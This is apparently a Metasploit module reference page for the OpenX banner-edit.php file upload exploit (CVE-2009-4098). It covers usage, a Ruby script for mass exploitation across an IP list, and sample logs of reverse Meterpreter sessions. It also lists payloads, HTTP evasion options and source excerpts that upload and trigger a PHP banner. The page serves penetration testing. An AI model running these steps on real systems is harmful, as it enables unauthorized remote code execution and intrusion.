OpenX banner-edit.php File Upload PHP Code Execution - Metasploit
This page contains detailed information about how to use the exploit/unix/webapp/openx_banner_edit metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: OpenX banner-edit.php File Upload PHP Code Execution
Module: exploit/unix/webapp/openx_banner_edit
Source code: modules/exploits/unix/webapp/openx_banner_edit.rb
Disclosure date: 2009-11-24
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): php
Supported platform(s): PHP
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2009-4098
This module exploits a vulnerability in the OpenX advertising software. In versions prior to version 2.8.2, authenticated users can upload files with arbitrary extensions to be used as banner creative content. By uploading a file with a PHP extension, an attacker can execute arbitrary PHP code. NOTE: The file must also return either "png", "gif", or "jpeg" as its image type as returned from the PHP getimagesize() function.
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Basic Usage
Using openx_banner_edit against a single host
Normally, you can use exploit/unix/webapp/openx_banner_edit this way:
msf > use exploit/unix/webapp/openx_banner_edit
msf exploit(openx_banner_edit) > show targets
... a list of targets ...
msf exploit(openx_banner_edit) > set TARGET target-id
msf exploit(openx_banner_edit) > show options
... show and set options ...
msf exploit(openx_banner_edit) > exploit
Using openx_banner_edit against multiple hosts
But it looks like this is a remote exploit module, which means you can also engage multiple hosts.
First, create a list of IPs you wish to exploit with this module. One IP per line.
Second, set up a background payload listener. This payload should be the same as the one your openx_banner_edit will be using:
- Do:
use exploit/multi/handler
- Do:
set PAYLOAD [payload]
- Set other options required by the payload
- Do:
set EXITONSESSION false
- Do:
run -j
At this point, you should have a payload listening.
Next, create the following script. Notice you will probably need to modify the ip_list path, and payload options accordingly:
<ruby>
#
# Modify the path if necessary
#
ip_list = '/tmp/ip_list.txt'
File.open(ip_list, 'rb').each_line do |ip|
print_status("Trying against #{ip}")
run_single("use exploit/unix/webapp/openx_banner_edit")
run_single("set RHOST #{ip}")
run_single("set DisablePayloadHandler true")
#
# Set a payload that's the same as the handler.
# You might also need to add more run_single commands to configure other
# payload options.
#
run_single("set PAYLOAD [payload name]")
run_single("run")
end
</ruby>
Next, run the resource script in the console:
msf > resource [path-to-resource-script]
And finally, you should see that the exploit is trying against those hosts similar to the following MS08-067 example:
msf > resource /tmp/exploit_hosts.rc
[*] Processing /tmp/exploit_hosts.rc for ERB directives.
[*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes)
[*] Trying against 192.168.1.80
RHOST => 192.168.1.80
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.80:445 - Automatically detecting the target...
[*] 192.168.1.80:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 192.168.1.80:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 192.168.1.80:445 - Attempting to trigger the vulnerability...
[*] Sending stage (957999 bytes) to 192.168.1.80
[*] Trying against 192.168.1.109
RHOST => 192.168.1.109
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.109:445 - Automatically detecting the target...
[*] 192.168.1.109:445 - Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown
[*] 192.168.1.109:445 - We could not detect the language pack, defaulting to English
[*] 192.168.1.109:445 - Selected Target: Windows 2003 SP2 English (NX)
[*] 192.168.1.109:445 - Attempting to trigger the vulnerability...
[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.80:1071) at 2016-03-02 19:32:49 -0600
[*] Sending stage (957999 bytes) to 192.168.1.109
[*] Meterpreter session 2 opened (192.168.1.199:4444 -> 192.168.1.109:4626) at 2016-03-02 19:32:52 -0600
Required Options
RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
USERNAME: The username to authenticate as
PASSWORD: The password for the specified username
Go back to menu.
Msfconsole Usage
Here is how the unix/webapp/openx_banner_edit exploit module looks in the msfconsole:
msf6 > use exploit/unix/webapp/openx_banner_edit
[*] No payload configured, defaulting to generic/shell_reverse_tcp
msf6 exploit(unix/webapp/openx_banner_edit) > show info
Name: OpenX banner-edit.php File Upload PHP Code Execution
Module: exploit/unix/webapp/openx_banner_edit
Platform: PHP
Arch: php
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2009-11-24
Provided by:
jduck <[email protected]>
Available targets:
Id Name
-- ----
0 Automatic
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
DESC Temporary banner yes The description to use for the banner
PASSWORD yes The password for the specified username
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
URI /openx/ yes OpenX directory path
USERNAME yes The username to authenticate as
VHOST no HTTP server virtual host
Payload information:
Space: 1024
Description:
This module exploits a vulnerability in the OpenX advertising
software. In versions prior to version 2.8.2, authenticated users
can upload files with arbitrary extensions to be used as banner
creative content. By uploading a file with a PHP extension, an
attacker can execute arbitrary PHP code. NOTE: The file must also
return either "png", "gif", or "jpeg" as its image type as returned
from the PHP getimagesize() function.
References:
https://nvd.nist.gov/vuln/detail/CVE-2009-4098
OSVDB (60499)
http://www.securityfocus.com/bid/37110
http://archives.neohapsis.com/archives/bugtraq/2009-11/0166.html
http://www.openx.org/docs/2.8/release-notes/openx-2.8.2
http://php.net/manual/en/function.getimagesize.php
http://gynvael.coldwind.pl/?id=223
http://gynvael.coldwind.pl/?id=224
http://gynvael.coldwind.pl/?id=235
http://programming.arantius.com/the+smallest+possible+gif
http://stackoverflow.com/questions/2253404/what-is-the-smallest-valid-jpeg-file-size-in-bytes
Module Options
This is a complete list of options available in the unix/webapp/openx_banner_edit exploit:
msf6 exploit(unix/webapp/openx_banner_edit) > show options
Module options (exploit/unix/webapp/openx_banner_edit):
Name Current Setting Required Description
---- --------------- -------- -----------
DESC Temporary banner yes The description to use for the banner
PASSWORD yes The password for the specified username
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
URI /openx/ yes OpenX directory path
USERNAME yes The username to authenticate as
VHOST no HTTP server virtual host
Payload options (generic/shell_reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.204.3 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic
Advanced Options
Here is a complete list of advanced options supported by the unix/webapp/openx_banner_edit exploit:
msf6 exploit(unix/webapp/openx_banner_edit) > show advanced
Module advanced options (exploit/unix/webapp/openx_banner_edit):
Name Current Setting Required Description
---- --------------- -------- -----------
ContextInformationFile no The information file that contains context information
DOMAIN WORKSTATION yes The domain to use for Windows authentication
DigestAuthIIS true no Conform to IIS, should work for most servers. Only set to false for non-IIS servers
DisablePayloadHandler false no Disable the handler code for the selected payload
EnableContextEncoding false no Use transient context when encoding payloads
FingerprintCheck true no Conduct a pre-exploit fingerprint verification
HttpClientTimeout no HTTP connection and receive timeout
HttpPassword no The HTTP password to specify for authentication
HttpRawHeaders no Path to ERB-templatized raw headers to append to existing headers
HttpTrace false no Show the raw HTTP requests and responses
HttpTraceColors red/blu no HTTP request and response colors for HttpTrace (unset to disable)
HttpTraceHeadersOnly false no Show HTTP headers only in HttpTrace
HttpUsername no The HTTP username to specify for authentication
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
UserAgent Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) no The User-Agent header to use for all requests
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 2 no Additional delay in seconds to wait for a session
Payload advanced options (generic/shell_reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
ARCH no The architecture that is being targeted
PLATFORM no The platform that is being targeted
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the unix/webapp/openx_banner_edit module can exploit:
msf6 exploit(unix/webapp/openx_banner_edit) > show targets
Exploit targets:
Id Name
-- ----
0 Automatic
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the unix/webapp/openx_banner_edit exploit:
msf6 exploit(unix/webapp/openx_banner_edit) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/generic/custom normal No Custom Payload
1 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
2 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
3 payload/multi/meterpreter/reverse_http normal No Architecture-Independent Meterpreter Stage, Reverse HTTP Stager (Multiple Architectures)
4 payload/multi/meterpreter/reverse_https normal No Architecture-Independent Meterpreter Stage, Reverse HTTPS Stager (Multiple Architectures)
5 payload/php/bind_perl normal No PHP Command Shell, Bind TCP (via Perl)
6 payload/php/bind_perl_ipv6 normal No PHP Command Shell, Bind TCP (via perl) IPv6
7 payload/php/bind_php normal No PHP Command Shell, Bind TCP (via PHP)
8 payload/php/bind_php_ipv6 normal No PHP Command Shell, Bind TCP (via php) IPv6
9 payload/php/download_exec normal No PHP Executable Download and Execute
10 payload/php/exec normal No PHP Execute Command
11 payload/php/reverse_perl normal No PHP Command, Double Reverse TCP Connection (via Perl)
12 payload/php/reverse_php normal No PHP Command Shell, Reverse TCP (via PHP)
Evasion Options
Here is the full list of possible evasion options supported by the unix/webapp/openx_banner_edit exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(unix/webapp/openx_banner_edit) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::method_random_case false no Use random casing for the HTTP method
HTTP::method_random_invalid false no Use a random invalid, HTTP method for request
HTTP::method_random_valid false no Use a random, but valid, HTTP method for request
HTTP::pad_fake_headers false no Insert random, fake headers into the HTTP request
HTTP::pad_fake_headers_count 0 no How many fake headers to insert into the HTTP request
HTTP::pad_get_params false no Insert random, fake query string variables into the request
HTTP::pad_get_params_count 16 no How many fake query string variables to insert into the request
HTTP::pad_method_uri_count 1 no How many whitespace characters to use between the method and uri
HTTP::pad_method_uri_type space no What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
HTTP::pad_post_params false no Insert random, fake post variables into the request
HTTP::pad_post_params_count 16 no How many fake post variables to insert into the request
HTTP::pad_uri_version_count 1 no How many whitespace characters to use between the uri and version
HTTP::pad_uri_version_type space no What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
HTTP::uri_dir_fake_relative false no Insert fake relative directories into the uri
HTTP::uri_dir_self_reference false no Insert self-referential directories into the uri
HTTP::uri_encode_mode hex-normal no Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
HTTP::uri_fake_end false no Add a fake end of URI (eg: /%20HTTP/1.0/../../)
HTTP::uri_fake_params_start false no Add a fake start of params to the URI (eg: /%3fa=b/../)
HTTP::uri_full_url false no Use the full URL for all HTTP requests
HTTP::uri_use_backslashes false no Use back slashes instead of forward slashes in the uri
HTTP::version_random_invalid false no Use a random invalid, HTTP version for request
HTTP::version_random_valid false no Use a random, but valid, HTTP version for request
Go back to menu.
Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Unable to login!
Here is a relevant code snippet related to the "Unable to login!" error message:
104: uri_base = normalize_uri(datastore['URI'], 'www/')
105:
106: # Need to login first :-/
107: cookie = openx_login(uri_base)
108: if (not cookie)
109: fail_with(Failure::Unknown, 'Unable to login!')
110: end
111: print_good("Logged in successfully (cookie: #{cookie})")
112:
113: # Now, check for an advertiser / campaign
114: ids = openx_find_campaign(uri_base, cookie)
The system has no advertisers or campaigns!
Here is a relevant code snippet related to the "The system has no advertisers or campaigns!" error message:
112:
113: # Now, check for an advertiser / campaign
114: ids = openx_find_campaign(uri_base, cookie)
115: if (not ids)
116: # TODO: try to add an advertiser and/or campaign
117: fail_with(Failure::Unknown, 'The system has no advertisers or campaigns!')
118: end
119: adv_id = ids[0]
120: camp_id = ids[1]
121: print_status("Using advertiser #{adv_id} and campaign #{camp_id}")
122:
Unable to upload the banner!
Here is a relevant code snippet related to the "Unable to upload the banner!" error message:
121: print_status("Using advertiser #{adv_id} and campaign #{camp_id}")
122:
123: # Add the banner >:)
124: ban_id = openx_upload_banner(uri_base, cookie, adv_id, camp_id, content)
125: if (not ban_id)
126: fail_with(Failure::Unknown, 'Unable to upload the banner!')
127: end
128: print_good("Successfully uploaded the banner image with id #{ban_id}")
129:
130: # Find the filename
131: ban_fname = openx_find_banner_filename(uri_base, cookie, adv_id, camp_id, ban_id)
Unable to find the banner filename!
Here is a relevant code snippet related to the "Unable to find the banner filename!" error message:
128: print_good("Successfully uploaded the banner image with id #{ban_id}")
129:
130: # Find the filename
131: ban_fname = openx_find_banner_filename(uri_base, cookie, adv_id, camp_id, ban_id)
132: if (not ban_fname)
133: fail_with(Failure::Unknown, 'Unable to find the banner filename!')
134: end
135: print_status("Resolved banner id to name: #{ban_fname}")
136:
137: # Request it to trigger the payload
138: res = send_request_raw({
WARNING: Unable to automatically delete the banner :-/
Here is a relevant code snippet related to the "WARNING: Unable to automatically delete the banner :-/" error message:
139: 'uri' => uri_base + 'images/' + ban_fname + '.php'
140: })
141:
142: # Delete the banner :)
143: if (not openx_banner_delete(uri_base, cookie, adv_id, camp_id, ban_id))
144: print_warning("WARNING: Unable to automatically delete the banner :-/")
145: else
146: print_good("Successfully deleted banner # #{ban_id}")
147: end
148:
149: print_status("You should have a session now.")
Go back to menu.
Related Pull Requests
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #8716 Merged Pull Request: Print_Status -> Print_Good (And OCD bits 'n bobs)
- #8338 Merged Pull Request: Fix msf/core and self.class msftidy warnings
- #6812 Merged Pull Request: Resolve #6807, remove all OSVDB references.
- #6655 Merged Pull Request: use MetasploitModule as a class name
- #6648 Merged Pull Request: Change metasploit class names
- #6139 Merged Pull Request: Remove bad references (dead links)
- #2905 Merged Pull Request: Update Exploit Checks and a msftidy to go with it
- #2525 Merged Pull Request: Change module boilerplate
- #2229 Merged Pull Request: Add fail_with() to all module types, move Failure constants to Msf::Module
- #1417 Merged Pull Request: Improves normalize_uri(), and updates modules that are using it
- #1241 Merged Pull Request: Removed all $Id$ and $Revision$ occurences
- #1047 Merged Pull Request: Set normalize uri on modules
- #960 Merged Pull Request: Use print_warnings
References
- CVE-2009-4098
- OSVDB (60499)
- BID-37110
- http://archives.neohapsis.com/archives/bugtraq/2009-11/0166.html
- http://www.openx.org/docs/2.8/release-notes/openx-2.8.2
- http://php.net/manual/en/function.getimagesize.php
- http://gynvael.coldwind.pl/?id=223
- http://gynvael.coldwind.pl/?id=224
- http://gynvael.coldwind.pl/?id=235
- http://programming.arantius.com/the+smallest+possible+gif
- http://stackoverflow.com/questions/2253404/what-is-the-smallest-valid-jpeg-file-size-in-bytes
See Also
Check also the following modules related to this module:
- exploit/multi/http/openx_backdoor_php
- auxiliary/admin/webmin/edit_html_fileaccess
- exploit/unix/webapp/wp_frontend_editor_file_upload
- exploit/windows/fileformat/documalis_pdf_editor_and_scanner
- auxiliary/scanner/http/wp_mobileedition_file_read
- exploit/linux/local/sudo_baron_samedit
- exploit/multi/http/coldfusion_ckeditor_file_upload
- exploit/unix/webapp/coppermine_piceditor
- exploit/windows/http/coldfusion_fckeditor
- exploit/windows/ftp/proftp_banner
- auxiliary/scanner/scada/modbus_banner_grabbing
Authors
- jduck
Version
This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.